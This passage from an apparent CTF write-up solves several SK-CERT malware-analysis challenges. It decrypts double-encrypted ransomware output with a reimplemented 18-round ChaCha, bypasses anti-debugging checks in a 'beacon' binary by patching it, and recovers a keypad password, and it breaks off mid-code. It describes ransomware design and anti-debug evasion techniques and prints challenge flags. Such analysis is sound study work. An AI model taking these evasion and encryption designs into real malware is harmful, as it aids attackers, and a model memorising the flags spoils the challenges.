corrupted files:</p><pre>* It read the footer at the very end of the file (`Footer 2`).<br>* It extracted the key/nonce for the outermost encryption layer (Layer 2) and decrypted the payload.<br>* It stripped `Footer 2` and restored the file to the size specified in `Footer 2` (which was $S + 1048$, leaving `Footer 1` attached).<br>* Since the payload was still encrypted by the first encryption pass (Layer 1), the resulting file remained unreadable. The official decryptor was completely unaware that a second layer of encryption existed.</pre><h4>Encryption Mechanism: Custom ChaCha Implementation:</h4><p>The ransomware uses a customized symmetric stream cipher based on ChaCha (configured with 18 rounds instead of the standard 20). It has two key deviations from standard implementations:</p><h4>1. The Signed-Integer Rotation Bug (`rotl_sar`):</h4><p>A critical software bug in the ransomware’s keystream generation function involves the left-rotation (`rotl`) of 32-bit integers during the quarter-round (`qr`) step.</p><p>In standard C coding, a left-rotation is performed via:</p><pre>(x &lt;&lt; n) | (x &gt;&gt; (32 - n))</pre><p>However, if the ransomware developer declared the variables as signed 32-bit integers (`int32_t` or `int` in C) instead of unsigned integers (`uint32_t`), the compile-time right shift (`&gt;&gt;`) instruction becomes an <strong>arithmetic shift right (SAR)</strong> rather than a <strong>logical shift right (SHR)</strong>.</p><ul><li>This sign-extends the shifted values, polluting the upper bits if the sign bit was set.</li><li>The solver recreates this bug exactly using the `rotl_sar` helper:</li></ul><pre>def rotl_sar(x, n):<br>      x = u32(x)<br>      signed = x if x &lt; 0x80000000 else x - 0x100000000<br>      sar = (signed &gt;&gt; (32 - n)) &amp; 0xffffffff<br>      return u32(((x &lt;&lt; n) &amp; 0xffffffff) | sar)</pre><h4>2. Sparse/Intermittent Encryption:</h4><p>To speed up the encryption of large virtual machine files (such as VMDKs on VMware ESXi), the ransomware employs sparse encryption.</p><ul><li><strong>Block Size Calculation</strong>: The block size varies depending on the original file size:</li></ul><pre>  * $\le 1 \text{ MB} \implies 4 \text{ KB}$<br>  * $\le 10 \text{ MB} \implies 8 \text{ KB}$<br>  * $\le 100 \text{ MB} \implies 16 \text{ KB}$<br>  * $&gt; 100 \text{ MB} \implies 64 \text{ KB}$</pre><p><strong>Fractional Encryption</strong>: Only a percentage of the total blocks are encrypted. The footer stores a `fraction_index` (from 0 to 100). A block at index `chunk_idx` is only encrypted if:</p><pre>  `chunk_idx % 100 &lt;= fraction_index`</pre><h4>Asymmetric Cryptography &amp; Decoder Key Storage:</h4><p>To ensure only the attackers can decrypt the files:</p><pre>Each encryption layer generates a unique 256-bit symmetric key and a 64-bit nonce.<br>These components are encrypted using an RSA-4096 public key.<br>The resulting 512-byte encrypted key and 512-byte encrypted nonce are embedded in the 1048-byte footer.<br>When the company paid the ransom, the attackers embedded the corresponding RSA-4096 private key directly into the `decoder` binary (commonly in DER format, starting with ASN.1 sequence headers `0x30 0x82`). This allows us to extract the private key directly from the decryptor binary.</pre><h3>2. Solving the Challenge:</h3><h4>Step 1: Extract the RSA Private Key:</h4><p>By analyzing the `decoder` binary, we search for bytes starting with the ASN.1 header `30 82` (representing a DER-encoded RSA private key) and read the block matching the private key structure.</p><h4>Step 2: Retrieve the Two Footers:</h4><p>The file `most_important_company_data.pdf.attacker` contains two footers. The footer size is `0x418` (1048) bytes:</p><pre>1. Footer 2 (Outer): Located at `enc[-1048:]`.<br>2. Footer 1 (Inner): Since both footers recorded the size $S$ of the original unencrypted file, we locate `Footer 1` at `enc[S:S+1048]`, where $S$ is parsed from `Footer 2`&#39;s original size field.</pre><h4>Step 3: Decrypt the Layers In Reverse:</h4><p>We use the extracted private key to decrypt the keys and nonces from both footers. We then reverse the encryption layers step-by-step:</p><pre>1. Layer 2 Decryption: Decrypt the payload using the key/nonce/fraction from `Footer 2`.<br>2. Layer 1 Decryption: Decrypt the resulting payload from the previous step using the key/nonce/fraction from `Footer 1`.</pre><h3>3. Flag Retrieval:</h3><p>Running the decryptor script parses the footers, extracts the private key from the compiler artifact, performs the two layers of ChaCha decryption using the custom sign-extension-bug logic, and dumps the resulting PDF.</p><h3>solver:</h3><pre>#!/usr/bin/env python3<br>import math<br>import re<br>import struct<br>from pathlib import Path<br><br>from cryptography.hazmat.primitives.serialization import load_der_private_key<br>from cryptography.hazmat.primitives.asymmetric import padding<br>from PyPDF2 import PdfReader<br><br>BASE_DIR = Path(__file__).resolve().parent<br><br>FOOT = 0x418<br>MAGIC = bytes.fromhex(&quot;dead00000000beef&quot;)<br>CONST = b&quot;@tt@c%$r00l0c%$r&quot;<br><br>ENCRYPTED_FILE = BASE_DIR / &quot;most_important_company_data.pdf.attacker&quot;<br>OUT_FILE = BASE_DIR / &quot;decrypted.pdf&quot;<br><br># Try both names, since the folder screenshot shows &quot;decoder&quot;<br>DECODER_CANDIDATES = [<br>    BASE_DIR / &quot;decoder&quot;,<br>    BASE_DIR / &quot;dec&quot;,<br>    BASE_DIR / &quot;decoder.bin&quot;,<br>]<br><br><br>def u32(x):<br>    return x &amp; 0xffffffff<br><br><br>def rotl_sar(x, n):<br>    x = u32(x)<br>    signed = x if x &lt; 0x80000000 else x - 0x100000000<br>    sar = (signed &gt;&gt; (32 - n)) &amp; 0xffffffff<br>    return u32(((x &lt;&lt; n) &amp; 0xffffffff) | sar)<br><br><br>def qr(a, b, c, d):<br>    a = u32(a + b)<br>    d ^= a<br>    d = rotl_sar(d, 16)<br><br>    c = u32(c + d)<br>    b ^= c<br>    b = rotl_sar(b, 12)<br><br>    a = u32(a + b)<br>    d ^= a<br>    d = rotl_sar(d, 8)<br><br>    c = u32(c + d)<br>    b ^= c<br>    b = rotl_sar(b, 7)<br>    return a, b, c, d<br><br><br>def chacha_block(state, rounds=18):<br>    x = list(state)<br><br>    for _ in range(rounds // 2):<br>        x[0], x[4], x[8], x[12] = qr(x[0], x[4], x[8], x[12])<br>        x[1], x[5], x[9], x[13] = qr(x[1], x[5], x[9], x[13])<br>        x[2], x[6], x[10], x[14] = qr(x[2], x[6], x[10], x[14])<br>        x[3], x[7], x[11], x[15] = qr(x[3], x[7], x[11], x[15])<br><br>        x[0], x[5], x[10], x[15] = qr(x[0], x[5], x[10], x[15])<br>        x[1], x[6], x[11], x[12] = qr(x[1], x[6], x[11], x[12])<br>        x[2], x[7], x[8], x[13] = qr(x[2], x[7], x[8], x[13])<br>        x[3], x[4], x[9], x[14] = qr(x[3], x[4], x[9], x[14])<br><br>    out = [(x[i] + state[i]) &amp; 0xffffffff for i in range(16)]<br>    return struct.pack(&quot;&lt;16I&quot;, *out)<br><br><br>def compute_block_size(orig_size):<br>    mb = orig_size &gt;&gt; 20<br>    if mb &lt;= 1:<br>        return 0x1000<br>    if mb &lt;= 10:<br>        return 0x2000<br>    if mb &lt;= 100:<br>        return 0x4000<br>    return 0x10000<br><br><br>def decrypt_layer(buf, key, nonce, fraction_index):<br>    out = bytearray(buf)<br>    bs = compute_block_size(len(buf))<br>    const_words = list(struct.unpack(&quot;&lt;4I&quot;, CONST))<br>    key_words = list(struct.unpack(&quot;&lt;8I&quot;, key))<br>    nonce_words = list(struct.unpack(&quot;&lt;2I&quot;, nonce))<br>    n_chunks = math.ceil(len(buf) / bs)<br><br>    for chunk_idx in range(n_chunks):<br>        if (chunk_idx % 100) &gt; fraction_index:<br>            continue<br><br>        off = chunk_idx * bs<br>        chunk_len = min(bs, len(buf) - off)<br><br>        for b in range((chunk_len + 63) // 64):<br>            counter = (chunk_idx + b) &amp; 0xffffffff<br>            state = const_words + key_words + [counter, 0] + nonce_words<br>            ks = chacha_block(state)<br><br>            boff = off + b * 64<br>            blen = min(64, len(buf) - boff)<br><br>            for i in range(blen):<br>                out[boff + i] ^= ks[i]<br><br>    return bytes(out)<br><br><br>def find_decoder_file():<br>    for p in DECODER_CANDIDATES:<br>        if p.exists():<br>            return p<br>    raise FileNotFoundError(<br>        &quot;Could not find decoder file. Looked for: &quot;<br>        + &quot;, &quot;.join(str(p.name) for p in DECODER_CANDIDATES)<br>    )<br><br><br>def extract_der_from_decoder():<br>    decoder_path = find_decoder_file()<br>    data = decoder_path.read_bytes()<br><br>    # 1) Try ASCII hex embedded in the file<br>    try:<br>        text = data.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;)<br>        m = re.search(r&quot;3082[0-9a-fA-F]{200,}&quot;, text)<br>        if m:<br>            return bytes.fromhex(m.group(0))<br>    except Exception:<br>        pass<br><br>    # 2) Try raw DER inside a binary blob: look for 0x30 0x82 &lt;len&gt;<br>    idx = data.find(b&quot;\x30\x82&quot;)<br>    while idx != -1 and idx + 4 &lt;= len(data):<br>        length = int.from_bytes(data[idx + 2 : idx + 4], &quot;big&quot;)<br>        der = data[idx : idx + 4 + length]<br>        if len(der) == 4 + length:<br>            return der<br>        idx = data.find(b&quot;\x30\x82&quot;, idx + 2)<br><br>    raise SystemExit(f&quot;No RSA private key DER found in {decoder_path.name}&quot;)<br><br><br>def parse_footer(footer, priv):<br>    if footer[-8:] != MAGIC:<br>        raise SystemExit(&quot;Bad footer magic&quot;)<br><br>    frac = struct.unpack(&quot;&lt;I&quot;, footer[4:8])[0]<br>    orig = struct.unpack(&quot;&lt;Q&quot;, footer[8:16])[0]<br><br>    key = priv.decrypt(footer[0x10:0x10 + 512], padding.PKCS1v15())<br>    nonce = priv.decrypt(footer[0x210:0x210 + 512], padding.PKCS1v15())<br><br>    return frac, orig, key, nonce<br><br><br>def main():<br>    print(&quot;[+] Loading encrypted file...&quot;)<br>    enc = ENCRYPTED_FILE.read_bytes()<br><br>    footer2 = enc[-FOOT:]<br>    orig_size = struct.unpack(&quot;&lt;Q&quot;, footer2[8:16])[0]<br><br>    payload = enc[:orig_size]<br>    footer1 = enc[orig_size:orig_size + FOOT]<br><br>    print(&quot;[+] Extracting embedded RSA key from decoder...&quot;)<br>    der = extract_der_from_decoder()<br>    priv = load_der_private_key(der, password=None)<br><br>    print(&quot;[+] Parsing footers...&quot;)<br>    frac1, orig1, key1, nonce1 = parse_footer(footer1, priv)<br>    frac2, orig2, key2, nonce2 = parse_footer(footer2, priv)<br><br>    if orig1 != orig2:<br>        print(f&quot;[!] Warning: footer original sizes differ ({orig1} vs {orig2})&quot;)<br><br>    print(&quot;[+] Decrypting layer 2...&quot;)<br>    dec = decrypt_layer(payload, key2, nonce2, frac2)<br><br>    print(&quot;[+] Decrypting layer 1...&quot;)<br>    dec = decrypt_layer(dec, key1, nonce1, frac1)<br><br>    OUT_FILE.write_bytes(dec)<br>    print(f&quot;[+] Decrypted PDF written to {OUT_FILE.name}&quot;)<br><br>    print(&quot;[+] Extracting flag...&quot;)<br>    reader = PdfReader(str(OUT_FILE))<br>    text = &quot;&quot;<br>    for p in reader.pages:<br>        text += p.extract_text() or &quot;&quot;<br><br>    m = re.search(r&quot;(SK-CERT\{[^}]+\})&quot;, text)<br>    if m:<br>        print(&quot;FLAG:&quot;, m.group(1))<br>    else:<br>        print(&quot;No SK-CERT{...} found.&quot;)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>After running it u can either just use the flag u get in your terminal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ma6Y9DySJSosoS4-TXz6Kg.png" /><figcaption>Flag</figcaption></figure><p>or open the decrypted pdf that was generated:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B7-2nMK2gQ5FcfxkduDHCA.png" /><figcaption>Pdf</figcaption></figure><pre>SK-CERT{r4ns0mw4r3_d3f3473d}</pre><h3>25: Malware Analysis —Intergalactic Warden:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*wJyu4KcvC1HILRI_CoIvKg.png" /><figcaption>Chall desc</figcaption></figure><h3>1. Static Analysis &amp; Obfuscation:</h3><p>Inspecting the binary reveals unique security features and anti-debugging symbols or labels reference strings such as:</p><pre>* `hidden_init_auxv`: A routine designed to parse the Linux Auxiliary Vector (`elf_aux_info` / `getauxval`) to extract critical system parameters.<br>* `AUXVCHK1` &amp; `RCORR21B`: Custom indicators verifying stack properties or program parameters parsed via the Auxiliary Vector.<br>* `PTE1` (Page Table Entry): Checks related to page table maps and permissions.<br>* `warden_flagcore`: The core routine managing the VM stream verification.</pre><p>The program runs a custom stack-based Virtual Machine (VM) emulator to validate the user input.</p><h3>2. Decryption of the VM Bytecode:</h3><p>The VM bytecode is stored at offset `0x40A0` within the ELF binary and obfuscated with a feed-forward stream cipher based on a Xorshift PRNG:</p><pre>1. The seed starts as `0xD13F6A8C4E27195B`.<br>2. For each byte, the Xorshift PRNG state is updated using shifts of `12`, `25`, and `27` and a multiplier `0x2545F4914F6CDD1D`.<br>3. The decrypted instruction byte (`al`) is XORed with the PRNG state.<br>4. If execution proceeds correctly, the decrypted opcode is used to mutate the next PRNG seed state. This feed-forward loop ensures that any modification to a single instruction completely diverges the remaining bytecode decryption.</pre><h3>3. The Custom VM Design:</h3><p>The bytecode interpreter operates over a stack (pointer tracked at `mem[8]`) and variables:</p><pre>* Opcode 1: Push character of user key (`key[prog[np]]`) to stack.<br>* Opcode 2: Push immediate byte to stack.<br>* Opcode 3: Pop stack to register `mem[9]`.<br>* Opcode 4: Pop top two values, add them, and push the result.<br>* Opcode 5: Pop top two values, XOR them, and push the result.<br>* Opcode 6: Pop top two values, AND them, and push the result.<br>* Opcode 7: Rotate left the accumulator register `mem[9]` by an immediate shift value.<br>* Opcode 8: Shift left the top stack elements.<br>* Opcode 9: Store `mem[9]` in memory `slots`.<br>* Opcode 10: Load value from memory `slots` and push to stack.<br>* Opcode 11: Compare `mem[9]` with immediate.<br>* Opcode 12: Check conditional state flag.<br>* Opcode 13: Halts execution and checks success.</pre><h3>4. The “Page Bleed” &amp; Signal Handler Twist:</h3><p>The challenge hint states: <em>*”The path is linear and the logic is sound, but the perspective might be wrong.”* This means that:</em></p><pre>* The program sets up a custom page fault signal handler (`SIGSEGV` or `SIGBUS`) to trap deliberate access violations.<br>* The perspective mismatch during standard execution modifies the checked registers dynamically (offsetting checks by `corr` vector values of length 21).<br>* Instead of comparing `cur == imm` in Opcode 11, the real logic checks `cur + corr[a0] == imm`.</pre><h3>5. Automated Z3 Constraint Solving:</h3><p>To find the key representing the valid execution path, we symbolise the 21 character key in Python and simulate the Virtual Machine state transition under the `mode == 1` correction using `z3-solver`.</p><p>The verification candidate is then filtered against a secondary table lookup hash `precheck_value` using two Fisher-Yates shuffled arrays from seeds `0xE40B54A215130462` and `0xD72A43E504D57E54`.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_-KJWcWx_zHQYpPrsp5Yig.png" /><figcaption>solver</figcaption></figure><pre>SK-CERT{th3_p4g3_bl33ds_4nd_w1th1n_1t_h1d3s_th3_h4ndl3r}</pre><h3>26: Malware Analysis — Intergalactic — Beacon v0:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*f7G4HGxbnQ4sRlxpl5AiyA.png" /><figcaption>chall desc</figcaption></figure><h3>1. Challenge Overview:</h3><p>Challenge is a Linux 64-bit ELF malware analysis / reverse engineering challenge. The executable `beaconv0` contains heavy anti-debugging protections, environment checks, and dynamic runtime obfuscation that prevents the execution trace from exposing the logical payload (the flag) under typical instrumentation.</p><h3>2.. Anti-Debugging and Sandbox Evasion:</h3><p>Examining the binary starting at entry point `0x1140` reveals a rigorous system of checks logic before executing and decrypting the flag payloads:</p><h4>2.1) Environment Anti-Injection checks (offset `0x1F60`):</h4><p>The binary queries environment variables using `getenv()` for:</p><pre>- `LD_PRELOAD`<br>- `LD_AUDIT`<br>- `DYLD_INSERT_LIBRARIES`</pre><p>If any of these environment hooks are detected, the function returns `1`.</p><h4>2.2) Standard `getpid` Hooks Check (offset `0x1FD0`):</h4><p>The binary performs a direct check comparing raw `getpid()` library returns against direct kernel interaction via `syscall(0x27)` (where `0x27` is `SYS_getpid`). Any discrepancy returns `1`, flagging hooking/redirection from sandbox environments.</p><h4>2.3) TracerPid Detection (offset `0x1FF0`):</h4><p>The executable opens `/proc/self/status` via `openat()` and reads 1023 bytes to find the string `TracerPid:`. If the character adjacent to it is not `0` (indicating an attached debugger like `gdb` or `strace`), it returns `1`.</p><h3>3. Key Cryptographic &amp; Execution Mechanics:</h3><p>The `ebp` registry inside `0x1140` holds the summary state of these anti-debug mechanisms:</p><pre>- If debugged, `ebp = 1`.<br>- If clean, `ebp = 0`.</pre><h4>The Critical Divergence Path:</h4><p>Near the final decryption and printing block of `0x1140` (at offset `0x121a`):</p><pre>121c:   imul   edx, ebp, 0xa5a5a5a5<br>1222:   mov    rdi, r12                 ; Pointer to trace buffer [rsp+0x140]<br>1225:   xor    edx, DWORD PTR [rsp+0x120]<br>122c:   call   2960                     ; Initial trace preparation<br>1239:   call   1c80                     ; Trace Decryption Function</pre><p>what this means is:</p><pre>- If a debugger is active, the decryption seed multiplier shifts to `0xa5a5a5a5`.<br>- If no debugger is present, the seed multiplier collapses cleanly to `0`.<br>- The final flag decryption call `1c80` loops `0x48` (72) times over the trace buffer, calling `1c10` to strip out runtime XOR key obfuscations.</pre><h4>Keystream and PID-seeding Dependency:</h4><p>The custom PRNG uses the process `PID` (queried from `0x1F40`) to initialize its cryptographic state register:</p><p>1 . `PID` is checked for sanity.</p><p>2 . The initial PRNG seed is derived at offset `0x1BF0` using:</p><pre>   $$\text{Seed} = (\text{PID} \ll 16) \oplus \text{keystream} \oplus \text{0xd4c3b2a1}$$</pre><p>The target validation bytecode inside `2d90` was compiled under a fixed target process PID of `0x5EED` (24301 in decimal). Without forcing this PID seed, the virtual machine fails to execute correctly, outputting scrambled noise.</p><h3>5. Solving Strategy:</h3><p>To bypass the complex requirements (forcing dynamic kernel PID alignment to `0x5EED` and eliminating dynamic keystream dependency mismatches), we can patch the binary:</p><h4>Patch 1: Seed PID Spoofing (offset `0x1F40`):</h4><p>We redirect the getpid syscall-wrapper to return the exact seed signature expected by the internal decryption algorithm:</p><ul><li><strong>Original Code:</strong> Calls `syscall(0x27)` and verifies.</li><li>Patched Code:</li></ul><pre>mov eax, 0x5eed<br>  ret</pre><p><strong><em>(HEX Byte sequence: `b8 ed 5e 00 00 c3 90 90`)</em></strong></p><h4>Patch 2: Obfuscation Nullification (offset `0x1C5C`):</h4><p>Inside the inner loop stream cipher byte-processor `1c10`:</p><pre>1c5c:   xor    r12d, eax</pre><p>This instructions XORs our logical execution bytes with the unstable dynamic runtime keystream. By neutralizing this instruction (overwriting with `nop`), we prevent the final scrambled XOR from altering the logical trace buffer. Plaintext bytes (the decrypted flag payload) write and read stably without keystream misalignment:</p><pre>- Original Instruction: `41 31 c4` (`xor r12d, eax`)<br>- Patched Instruction: `90 90 90` (`nop; nop; nop`)</pre><h3>Solver:</h3><pre>#!/usr/bin/env python3<br>import re<br>import subprocess<br>import tempfile<br>from pathlib import Path<br><br><br>BIN_PATH = Path(__file__).with_name(&quot;beaconv0&quot;)<br>PID_SEED = 0x5EED<br><br><br>def patch_binary(data: bytes) -&gt; bytes:<br>    patched = bytearray(data)<br><br>    # 0x1f40: force the validated 16-bit pid/seed.<br>    patched[0x1F40:0x1F48] = bytes.fromhex(&quot;b8ed5e0000c39090&quot;)<br><br>    # 0x1c5c: remove the final XOR with the runtime keystream so the logical<br>    # payload byte is written directly.<br>    if patched[0x1C5C:0x1C5F] != bytes.fromhex(&quot;4131c4&quot;):<br>        raise ValueError(&quot;unexpected bytes at 0x1c5c&quot;)<br>    patched[0x1C5C:0x1C5F] = b&quot;\x90\x90\x90&quot;<br><br>    return bytes(patched)<br><br><br>def recover_flag(bin_path: Path) -&gt; str:<br>    patched = patch_binary(bin_path.read_bytes())<br><br>    with tempfile.TemporaryDirectory() as tmpdir:<br>        tmp_bin = Path(tmpdir) / &quot;beaconv0_patched&quot;<br>        tmp_bin.write_bytes(patched)<br>        tmp_bin.chmod(0o755)<br><br>        output = subprocess.check_output([str(tmp_bin)])<br><br>    text = output.decode(&quot;ascii&quot;, errors=&quot;ignore&quot;)<br>    match = re.search(r&quot;SK-CERT\{[^}]+\}&quot;, text)<br>    if not match:<br>        raise RuntimeError(f&quot;flag not found in output: {text!r}&quot;)<br>    return match.group(0)<br><br><br>def main() -&gt; None:<br>    flag = recover_flag(BIN_PATH)<br>    print(flag)<br><br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cv5TUrG11m8IMIxmcTyYhg.png" /><figcaption>flag</figcaption></figure><pre>SK-CERT{pl4y_w1th_f33db4ck_l00p5_d1e_w1th_0b5cur1ty}</pre><h3>27: Malware Analysis — Intergalactic — Keypad:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*bg5toBODh-GuKYs-JTzgng.png" /><figcaption>chall desc</figcaption></figure><h3>Challenge summary:</h3><p>We are given two files:</p><pre>- `intergalactic_keypad.exe`<br>- `flag.zip`</pre><p>The ZIP is password protected. so the goal is to reverse the EXE and recover the ZIP password.</p><h3>1. Initial triage:</h3><p>First, identify both files:</p><pre>file intergalactic_keypad.exe <br>file flag.zip</pre><p>output:</p><pre>intergalactic_keypad.exe: PE32+ executable for MS Windows, x86-64 GUI<br>flag.zip: Zip archive data</pre><h3>2. Finding the keypad validation:</h3><p>Disassembling the binary shows a main validation function around <strong><em>`0x140014270`.</em></strong></p><p>The first important instruction is:</p><pre>140014270  cmp qword ptr [rip+...], 0x15<br>140014278  je  0x140014280</pre><p><strong><em>`0x15`</em></strong> is decimal `21`, meaning the program only accepts an input length of 21 characters.</p><p>Inside the same function, every character is checked like this:</p><pre>movsx edx, byte ptr [r15]<br>lea   eax, [rdx-0x30]<br>cmp   al, 0x9<br>ja    fail</pre><p>This means every character must be between `’0&#39;` and `’9&#39;`. So the password is a <strong>21-digit numeric string</strong>.</p><h3>3. Understanding the check:</h3><p>The validation loop processes each position independently first.</p><p>For every index `i` and digit `d`, the program computes:</p><pre>1. A 24-bit value using a function at `0x140013630`.<br>2. A 16-bit mixed value using a function at `0x140013fa0`.<br>3. A target 24-bit value using embedded tables at:<br>   - `0x140026de0`<br>   - `0x140026e40`<br>   - `0x140026ea0`<br>4. A target 16-bit value using embedded tables at:<br>   - `0x140026f00`<br>   - `0x140026f40`</pre><p>The core comparison in the loop is equivalent to:</p><pre>value24 = check24_from_digit(i, d)<br>value16 = check16_from_digit(i, d, value24)<br><br>if value24 != target24(i):<br>    fail<br><br>if value16 != target16(i):<br>    fail</pre><p>After all 21 characters pass, there are two final full-string checks:</p><pre>cmp ebp, 0xf178ad4b<br>cmp eax, 0xfd4e8cd4</pre><p>So the full password must also satisfy:</p><pre>rolling_check(password) == 0xf178ad4b<br>secondary_hash(password) == 0xfd4e8cd4</pre><h3>4. Calculating the keypad code:</h3><p>The important observation is that the executable does not require guessing the whole 21-digit password. The validation loop is position-based, so every character can be solved from its own encoded target values.</p><p>For each index `i`, the binary first builds two expected values from the constant tables:</p><pre>target24 = target24(i)<br>target16 = target16(i)</pre><p>Then the current digit is passed through the same two lifted transforms:</p><pre>value24 = check24_from_digit(i, d)<br>value16 = check16_from_digit(i, d, value24)</pre><p>A digit is correct only when its calculated pair is identical to the table-derived pair:</p><pre>(value24, value16) == (target24, target16)</pre><p>So the solve process is:</p><pre>1. Read the encoded tables from `.rdata`.<br>2. Rebuild the target pair for position `i`.<br>3. Rebuild the digit transform for the same position.<br>4. Calculate the result for the valid keypad digits `0` through `9`.<br>5. Keep the digit whose `(24-bit, 16-bit)` pair matches the target pair.<br>6. Repeat this independently for all 21 positions.<br>7. Join the recovered digits and verify the final full-string checks.</pre><p>This works because the binary separates the per-position validation from the final password-wide checks. The per-position constraints reveal one exact digit at a time, and the final rolling/hash checks confirm that the reconstructed password is correct.</p><p>The recovered per-position digits are:</p><pre>pos 00 -&gt; 1<br>pos 01 -&gt; 9<br>pos 02 -&gt; 3<br>pos 03 -&gt; 9<br>pos 04 -&gt; 4<br>pos 05 -&gt; 7<br>pos 06 -&gt; 5<br>pos 07 -&gt; 7<br>pos 08 -&gt; 2<br>pos 09 -&gt; 9<br>pos 10 -&gt; 3<br>pos 11 -&gt; 5<br>pos 12 -&gt; 7<br>pos 13 -&gt; 9<br>pos 14 -&gt; 2<br>pos 15 -&gt; 3<br>pos 16 -&gt; 9<br>pos 17 -&gt; 8<br>pos 18 -&gt; 4<br>pos 19 -&gt; 7<br>pos 20 -&gt; 3</pre><p>Joining them gives:</p><pre>193947572935792398473</pre><p>The solver then verifies the final checks:</p><pre>rolling_check = 0xf178ad4b<br>secondary_hash = 0xfd4e8cd4</pre><h3>Solver:</h3><pre>#!/usr/bin/env python3<br>&quot;&quot;&quot;<br>Solver for the intergalactic_keypad.exe / flag.zip challenge.<br><br>It does not run the EXE. It parses the PE file, reads the embedded check<br>constants, reimplements the stripped validation functions, recovers the<br>21-digit keypad code, and optionally tests/extracts the ZIP.<br>&quot;&quot;&quot;<br><br>from __future__ import annotations<br><br>import argparse<br>import itertools<br>import os<br>import struct<br>import sys<br>import zipfile<br>from pathlib import Path<br><br>MASK32 = 0xFFFFFFFF<br><br># RVAs of the embedded tables used by the check logic.<br># These were identified from the x64 disassembly:<br>#   0x1400231a0 -&gt; 16-entry u32 table<br>#   0x140026de0/6e40/6ea0 -&gt; 21-entry u32 target tables<br>#   0x140026f00/6f40 -&gt; 21-entry u16 target tables<br>RVA_TABLE32 = 0x231A0<br>RVA_A0 = 0x26DE0<br>RVA_A1 = 0x26E40<br>RVA_A2 = 0x26EA0<br>RVA_W0 = 0x26F00<br>RVA_W1 = 0x26F40<br>PASSWORD_LEN = 0x15<br>EXPECTED_ROLL = 0xF178AD4B<br>EXPECTED_HASH = 0xFD4E8CD4<br><br><br>def u32(x: int) -&gt; int:<br>    return x &amp; MASK32<br><br><br>def add(a: int, b: int) -&gt; int:<br>    return (a + b) &amp; MASK32<br><br><br>def sub(a: int, b: int) -&gt; int:<br>    return (a - b) &amp; MASK32<br><br><br>def mul(a: int, b: int) -&gt; int:<br>    return (a * b) &amp; MASK32<br><br><br>def rol(x: int, n: int) -&gt; int:<br>    x &amp;= MASK32<br>    n &amp;= 31<br>    if n == 0:<br>        return x<br>    return ((x &lt;&lt; n) | (x &gt;&gt; (32 - n))) &amp; MASK32<br><br><br>def ror(x: int, n: int) -&gt; int:<br>    x &amp;= MASK32<br>    n &amp;= 31<br>    if n == 0:<br>        return x<br>    return ((x &gt;&gt; n) | (x &lt;&lt; (32 - n))) &amp; MASK32<br><br><br>class PEReader:<br>    &quot;&quot;&quot;Tiny PE parser: enough to convert RVA -&gt; file offset and read bytes.&quot;&quot;&quot;<br><br>    def __init__(self, path: Path):<br>        self.path = path<br>        self.data = path.read_bytes()<br>        self.sections = self._parse_sections()<br><br>    def _parse_sections(self):<br>        data = self.data<br>        if data[:2] != b&quot;MZ&quot;:<br>            raise ValueError(&quot;not a PE file: missing MZ header&quot;)<br><br>        e_lfanew = struct.unpack_from(&quot;&lt;I&quot;, data, 0x3C)[0]<br>        if data[e_lfanew:e_lfanew + 4] != b&quot;PE\0\0&quot;:<br>            raise ValueError(&quot;not a PE file: missing PE signature&quot;)<br><br>        coff = e_lfanew + 4<br>        number_of_sections = struct.unpack_from(&quot;&lt;H&quot;, data, coff + 2)[0]<br>        size_of_optional_header = struct.unpack_from(&quot;&lt;H&quot;, data, coff + 16)[0]<br>        section_table = coff + 20 + size_of_optional_header<br><br>        sections = []<br>        for i in range(number_of_sections):<br>            off = section_table + i * 40<br>            name = data[off:off + 8].rstrip(b&quot;\0&quot;).decode(&quot;ascii&quot;, &quot;replace&quot;)<br>            virtual_size, virtual_address, raw_size, raw_ptr = struct.unpack_from(&quot;&lt;IIII&quot;, data, off + 8)<br>            size = max(virtual_size, raw_size)<br>            sections.append((name, virtual_address, size, raw_ptr, raw_size))<br>        return sections<br><br>    def rva_to_offset(self, rva: int) -&gt; int:<br>        for _name, va, size, raw_ptr, raw_size in self.sections:<br>            if va &lt;= rva &lt; va + size:<br>                rel = rva - va<br>                if rel &gt;= raw_size:<br>                    raise ValueError(f&quot;RVA 0x{rva:x} is not backed by raw file data&quot;)<br>                return raw_ptr + rel<br>        raise ValueError(f&quot;RVA 0x{rva:x} is outside all PE sections&quot;)<br><br>    def read_rva(self, rva: int, size: int) -&gt; bytes:<br>        off = self.rva_to_offset(rva)<br>        return self.data[off:off + size]<br><br>    def u32_array(self, rva: int, count: int) -&gt; list[int]:<br>        return list(struct.unpack(&quot;&lt;&quot; + &quot;I&quot; * count, self.read_rva(rva, 4 * count)))<br><br>    def u16_array(self, rva: int, count: int) -&gt; list[int]:<br>        return list(struct.unpack(&quot;&lt;&quot; + &quot;H&quot; * count, self.read_rva(rva, 2 * count)))<br><br><br>class KeypadModel:<br>    def __init__(self, pe: PEReader):<br>        self.t = pe.u32_array(RVA_TABLE32, 16)<br>        self.a0 = pe.u32_array(RVA_A0, PASSWORD_LEN)<br>        self.a1 = pe.u32_array(RVA_A1, PASSWORD_LEN)<br>        self.a2 = pe.u32_array(RVA_A2, PASSWORD_LEN)<br>        self.w0 = pe.u16_array(RVA_W0, PASSWORD_LEN)<br>        self.w1 = pe.u16_array(RVA_W1, PASSWORD_LEN)<br><br>    def table(self, x: int) -&gt; int:<br>        # Equivalent to the helper at 0x140015450 selecting table[x &amp; 0xf].<br>        return self.t[x &amp; 0xF]<br><br>    @staticmethod<br>    def mix_mul(x: int) -&gt; int:<br>        return mul(x, 0x045D9F3B)<br><br>    def f13480(self, i: int) -&gt; int:<br>        # Produces a 24-bit derived value used by f138e0().<br>        b = rol(self.table(i + 2), i + 5)<br>        a = ror(self.table(i + 11), i + 9)<br>        v = b ^ a<br>        v = add(v, self.mix_mul(i + 1))<br>        v ^= add(self.table(i + 7), 0xD00DFEED)<br><br>        esi = add(i, 1)<br>        edi = 0<br>        ebx = v<br>        while True:<br>            edi = add(edi, 1)<br>            a = self.table(esi)<br>            